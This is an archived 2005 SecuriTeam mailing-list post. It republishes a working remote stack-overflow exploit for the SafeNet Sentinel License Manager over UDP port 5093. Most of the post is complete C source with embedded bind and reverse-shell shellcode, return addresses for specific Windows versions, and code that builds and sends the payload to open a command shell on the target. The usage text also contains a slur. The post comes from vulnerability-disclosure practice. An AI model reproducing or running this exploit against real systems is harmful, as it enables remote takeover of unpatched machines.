[EXPL] SafeNet Sentinel License Manager Stack Overflow Exploit

Source: http://www.derkeiler.com/Mailing−Lists/Securiteam/2005−03/0052.html

---

From: SecuriTeam (*support_at_securiteam.com*)
Date: 03/14/05

```
To: list@securiteam.com
Date: 14 Mar 2005 11:48:22 +0200
```

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
− − promotion

The SecuriTeam alerts list − Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

− − − − − − − − −

SafeNet Sentinel License Manager Stack Overflow Exploit
−−−

Patched version: 8.0
Link: safenet−inc.com products sentinel lm.asp
Date: 09 March 2005
Advisory: securitytracker.com alerts 2005 Mar 1013385.html

Application Risk: High
Internet Risk: Medium (UDP)

Dicovery Credits: Dennis Rand (CIRT.DK)
Exploit Credits : class101

Hole History:

07−3−2005: BOF flaw published by Dennis Rand of CIRT.DK
09−3−2005: hat−squad's exploit done
13−3−2005: hat−squad's exploit released

Notes:

−the exploit targets 5093/UDP
−no bad chars detected
−Unlike it is said in the CIRT.DK advisory, you shouldn't submit 3000bytes of data,
but indeed, the overflow is occuring at around
3900 bytes. SentinelLM will proceed the first 1035bytes of your buffer and will repeat
those until the override of the stack.
Conclusion , you have to be good with maths (nor to control our friend olly & calc :>)
to overwrite the right place in your buffer[1035]
to finally reach eip when your buffer "autogrows" at around buffer[3940].
−sending the buffer twice because the 1st attempt can fail sometimes.
−using a nice popopret outside of a loaded module for SP2and2k3 targets.
this offset has been tested on SP2 and 2003 ENGLISH (maybe langage−dependent dunno..)
−to note so that target3 (SP2/2k3) can work sometimes as target2 (SP1a/1/0) but it is
not stable this is why I use
one of the two I have posted at fulldisclosure (0x71ABE325/SP1a/1/0). This last is stable
for the 3 sp (ENGLISH!).

Compilation:

101_SentLM.cpp ..... Win32 (MSVC,cygwin)
101_SentLM.c ..... Linux (FreeBSD,etc..)

Another fine working code, published as a patch warning or for an EXPERIMENTAL use!

Greet:

```
*GUILLERMITO* "the terrorist...sigh..:("

NIMA MAJIDI
BEHRANG FOULADI
PEJMAN
HAMID
HAT−SQUAD.COM
metasploit.com
A^C^E of addict3d.org
str0ke of milw0rm.com
and my homy CLASS101.ORG :>

*/

#include <stdio.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include "winsock2.h"
#pragma comment(lib, "ws2_32")
#else
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#endif

char scode1[]=
"\x33\xC9\x83\xE9"
"\xAF\xD9\xEE\xD9\x74\x24\xF4\x5B\x81\x73\x13\xBB"
"\x1E\xD3\x6A\x83\xEB\xFC\xE2\xF4\x47\x74\x38\x25\x53\xE7\x2C\x95"
"\x44\x7E\x58\x06\x9F\x3A\x58\x2F\x87\x95\xAF\x6F\xC3\x1F\x3C\xE1"
"\xF4\x06\x58\x35\x9B\x1F\x38\x89\x8B\x57\x58\x5E\x30\x1F\x3D\x5B"
"\x7B\x87\x7F\xEE\x7B\x6A\xD4\xAB\x71\x13\xD2\xA8\x50\xEA\xE8\x3E"
"\x9F\x36\xA6\x89\x30\x41\xF7\x6B\x50\x78\x58\x66\xF0\x95\x8C\x76"
"\xBA\xF5\xD0\x46\x30\x97\xBF\x4E\xA7\x7F\x10\x5B\x7B\x7A\x58\x2A"
"\x8B\x95\x93\x66\x30\x6E\xCF\xC7\x30\x5E\xDB\x34\xD3\x90\x9D\x64"
"\x57\x4E\x2C\xBC\x8A\xC5\xB5\x39\xDD\x76\xE0\x58\xD3\x69\xA0\x58"
"\xE4\x4A\x2C\xBA\xD3\xD5\x3E\x96\x80\x4E\x2C\xBC\xE4\x97\x36\x0C"
"\x3A\xF3\xDB\x68\xEE\x74\xD1\x95\x6B\x76\x0A\x63\x4E\xB3\x84\x95"
"\x6D\x4D\x80\x39\xE8\x4D\x90\x39\xF8\x4D\x2C\xBA\xDD\x76\xD3\x0F"
"\xDD\x4D\x5A\x8B\x2E\x76\x77\x70\xCB\xD9\x84\x95\x6D\x74\xC3\x3B"
"\xEE\xE1\x03\x02\x1F\xB3\xFD\x83\xEC\xE1\x05\x39\xEE\xE1\x03\x02"
"\x5E\x57\x55\x23\xEC\xE1\x05\x3A\xEF\x4A\x86\x95\x6B\x8D\xBB\x8D"
"\xC2\xD8\xAA\x3D\x44\xC8\x86\x95\x6B\x78\xB9\x0E\xDD\x76\xB0\x07"
```

```
"\x32\xFB\xB9\x3A\xE2\x37\x1F\xE3\x5C\x74\x97\xE3\x59\x2F\x13\x99"
"\x11\xE0\x91\x47\x45\x5C\xFF\xF9\x36\x64\xEB\xC1\x10\xB5\xBB\x18"
"\x45\xAD\xC5\x95\xCE\x5A\x2C\xBC\xE0\x49\x81\x3B\xEA\x4F\xB9\x6B"
"\xEA\x4F\x86\x3B\x44\xCE\xBB\xC7\x62\x1B\x1D\x39\x44\xC8\xB9\x95"
"\x44\x29\x2C\xBA\x30\x49\x2F\xE9\x7F\x7A\x2C\xBC\xE9\xE1\x03\x02"
"\x54\xD0\x33\x0A\xE8\xE1\x05\x95\x6B\x1E\xD3\x6A";

char scode2[]=
/*original vlad902's reverse shellcode from metasploit.com
NOT xored, modded by class101 for ca's xpl0it to remove the common badchar
"\x20"
original bytes + modded = 291 + 3 = 294 bytes reverse shellcode v1.31*/
"\xFC\x6A\xEB\x52" /*modded adjusting jump*/
"\xE8\xF9\xFF\xFF\xFF\x60\x8B\x6C\x24\x24\x8B\x45\x3C\x8B\x7C\x05"
"\x78\x01\xEF"
"\x83\xC7\x01" /*modded, adding 1 to edi*/
"\x8B\x4F\x17" /*modded, adjusting ecx*/
"\x8B\x5F\x1F" /*modded, adjusting ebx, "\x20" out, yeahouu ;>*/
"\x01\xEB\xE3\x30\x49\x8B\x34\x8B\x01\xEE\x31\xC0\x99\xAC\x84\xC0"
"\x74\x07\xC1\xCA\x0D\x01\xC2\xEB\xF4\x3B\x54\x24\x28\x75\xE3"
"\x8B\x5F\x23" /*modded, adjusting ebx*/
"\x01\xEB\x66\x8B\x0C\x4B"
"\x8B\x5F\x1B" /*modded, adjusting ebx*/
"\x01\xEB\x03\x2C\x8B\x89\x6C\x24\x1C\x61\xC3\x31\xC0\x64\x8B\x40"
"\x30\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\x5E\x68\x8E\x4E\x0E"
"\xEC\x50\xFF\xD6\x31\xDB\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32"
"\x5F\x54\xFF\xD0\x68\xCB\xED\xFC\x3B\x50\xFF\xD6\x5F\x89\xE5\x66"
"\x81\xED\x08\x02\x55\x6A\x02\xFF\xD0\x68\xD9\x09\xF5\xAD\x57\xFF"
"\xD6\x53\x53\x53\x53\x43\x53\x43\x53\xFF\xD0\x68\x00\x00\x00\x00"
"\x66\x68\x00\x00\x66\x53\x89\xE1\x95\x68\xEC\xF9\xAA\x60\x57\xFF"
"\xD6\x6A\x10\x51\x55\xFF\xD0\x66\x6A\x64\x66\x68\x63\x6D\x6A\x50"
"\x59\x29\xCC\x89\xE7\x6A\x44\x89\xE2\x31\xC0\xF3\xAA\x95\x89\xFD"
"\xFE\x42\x2D\xFE\x42\x2C\x8D\x7A\x38\xAB\xAB\xAB\x68\x72\xFE\xB3"
"\x16\xFF\x75\x28\xFF\xD6\x5B\x57\x52\x51\x51\x51\x6A\x01\x51\x51"
"\x55\x51\xFF\xD0\x68\xAD\xD9\x05\xCE\x53\xFF\xD6\x6A\xFF\xFF\x37"
"\xFF\xD0\x68\xE7\x79\xC6\x79\xFF\x75\x04\xFF\xD6\xFF\x77\xFC\xFF"
"\xD0\x68\xEF\xCE\xE0\x60\x53\xFF\xD6\xFF\xD0";

char payload[1100];
char sip[3];char spo[1];

char pad[]="\xEB\x08\x90\x90";
char pad2[]="\xE9\xC2\xFC\xFF\xFF";
char ebx2k[]="\x08\xB0\x01\x78";
char ebxp[]="\x25\xE3\xAB\x71"; /*popopret inside of a loaded module for
SP0−1−1a*/
char ebxsp2k3[]="\xE1\x1B\xFA\x7F";
/*popopret outside of a loaded module for SP2 and 2003*/
/*some tests*/
char fix[]="\x76\x6C\x6D\x73";
char fix2[]="\x72\x76\x72\x2E";
```

```
#ifdef WIN32
WSADATA wsadata;
#endif

void ver();
void usage(char* us);

int main(int argc,char *argv[])
{
ver();
int co, sw=0, check1, check2;
unsigned long gip;
unsigned short gport;
char *target, *os;
if
(argc>6||argc<3||atoi(argv[1])>4||atoi(argv[1])<1){usage(argv[0]);return
−1;}
if (argc==5){usage(argv[0]);return −1;}
if (strlen(argv[2])<7){usage(argv[0]);return −1;}
if (argc==6)
{
if (strlen(argv[4])<7){usage(argv[0]);return −1;}
}
#ifndef WIN32
if (argc==6)
{
gip=inet_addr(argv[4])^(long)0x00000000;
gport=htons(atoi(argv[5]))^(short)0x0000;
memcpy(&sip[0], &gip, 4);memcpy(&spo[0], &gport, 2);
check1=strlen(&sip[0]);check2=strlen(&spo[0]);
if (check1 == 0||check1 == 1||check1 == 2||check1 == 3){
printf("[+] error, the IP has a null byte in hex...\n");return −1;}
if (check2 != 2){printf("[+] error, the PORT has a null byte in
hex...\n");return −1;}
}
#define Sleep sleep
#define SOCKET int
#define closesocket(s) close(s)
#else
if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){printf("[+] wsastartup
error\n");return −1;}
if (argc==6)
{
gip=inet_addr(argv[4])^(ULONG)0x00000000;
gport=htons(atoi(argv[5]))^(USHORT)0x0000;
memcpy(&sip[0], &gip, 4);memcpy(&spo[0], &gport, 2);
check1=strlen(&sip[0]);check2=strlen(&spo[0]);
if (check1 == 0||check1 == 1||check1 == 2||check1 == 3){
printf("[+] error, the IP has a null byte in hex...\n");return −1;}
if (check2 != 2){printf("[+] error, the PORT has a null byte in
hex...\n");return −1;}
```

```
}
#endif
int ip=htonl(inet_addr(argv[2])), port;
if (argc==4||argc==6){port=atoi(argv[3]);} else port=5093;
SOCKET s;fd_set mask;struct timeval timeout; struct sockaddr_in server;
s=socket(AF_INET,SOCK_DGRAM,0);
if (s==−1){printf("[+] socket() error\n");return −1;}
if (atoi(argv[1]) == 1){target=ebx2k;os="Win2k SP4 Server English\n[+]
Win2k SP4 Pro English";}
if (atoi(argv[1]) == 2){target=ebxp;os="WinXP SP0 Pro English\n[+]
 WinXP SP1 Pro English\n[+] WinXP SP1a Pro English";}
if (atoi(argv[1]) == 3){target=ebxsp2k3;os="WinXP SP2 Pro English";}
if (atoi(argv[1]) == 4){target=ebxsp2k3;os="Win2003 SP0 Server English";}
server.sin_family=AF_INET;
server.sin_addr.s_addr=htonl(ip);
server.sin_port=htons(port);
memset(payload,0x90,1100);
if (atoi(argv[1]) == 4)
{
memcpy(payload+836,target,4);
memcpy(payload+832,pad,4);
memcpy(payload+845,pad2,5);
}
else
{
memcpy(payload+840,target,4);
memcpy(payload+836,pad,4);
memcpy(payload+849,pad2,5);
}
memcpy(payload+12,fix,4);
memcpy(payload+16,fix2,4);
if (argc==6)
{
memcpy(&scode2[167], &gip, 4);
memcpy(&scode2[173], &gport, 2);
memcpy(payload+33,scode2,strlen(scode2));
}
else memcpy(payload+33,scode1,strlen(scode1));
printf("[+] target(s): %s\n",os);
printf("[+] sending datas to the udp port...\n");
co = sendto(s,payload,sizeof(payload),0,(struct sockaddr
*)&server,sizeof(server));
#ifdef WIN32
Sleep(1000);
#else
Sleep(1);
#endif
co = sendto(s,payload,sizeof(payload),0,(struct sockaddr
*)&server,sizeof(server));
#ifdef WIN32
Sleep(1000);
```

```
#else
Sleep(1);
#endif
timeout.tv_sec=10;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
sw = select((s+1),&mask,NULL,NULL,&timeout);
if(sw)
{
printf("[+] sending error, the server prolly rebooted.\n");
closesocket(s);
return −1;
}
else
{
printf("[+] size of payload: %d\n",strlen(payload));
if (argc==6){printf("[+] payload sent, look at your listener, you should
get a shell\n");}
else printf("[+] payload sent, use telnet victimIP:101 to get a shell\n");
closesocket(s);
return 0;
}
return 0;
}

void usage(char* us)
{
printf(" \n");
printf(" [+] . 101_SentLM.exe Target VulnIP (bind mode) \n");
printf(" [+] . 101_SentLM.exe Target VulnIP VulnPORT (bind mode) \n");
printf(" [+] . 101_SentLM.exe Target VulnIP VulnPORT GayIP GayPORT
(reverse mode) \n");
printf("TARGETS: \n");
printf(" [+] 1. Win2k SP4 Server English (*) − v5.0.2195 \n");
printf(" [+] 1. Win2k SP4 Pro English (*) − v5.0.2195 \n");
printf(" [+] 2. WinXP SP0 Pro. English (*) − v5.1.2600 \n");
printf(" [+] 2. WinXP SP1 Pro. English (*) − v5.1.2600 \n");
printf(" [+] 2. WinXP SP1a Pro. English (*) − v5.1.2600 \n");
printf(" [+] 3. WinXP SP2 Pro. English (*) − v5.1.2600.2180 \n");
printf(" [+] 4. Win2k3 SP0 Server English (*) − v5.2.3790 \n");
printf("NOTE: \n");
printf(" The exploit bind a cmdshell port 101 or \n");
printf(" reverse a cmdshell on your listener. \n");
printf(" A wildcard (*) mean tested working, else, supposed working. \n");
printf(" A symbol (−) mean all. \n");
printf(" Compilation msvc6, cygwin, Linux. \n");
printf(" \n");
return;
}
void ver()
{
printf(" \n");
printf(" ========================================[v0.1]====\n");
```

```
printf(" ====================SafeNet Sentinel LM===============\n");
printf(" ===============Remote Buffer Overflow Exploit==============\n");
printf(" ======coded by class101=============[Hat−Squad.com]=======\n");
printf(" ====================================[class101.org]===\n");
printf(" \n");
}
```

ADDITIONAL INFORMATION

The information has been provided by class101.

==========

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list−unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list−subscribe@securiteam.com

==========
==========

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.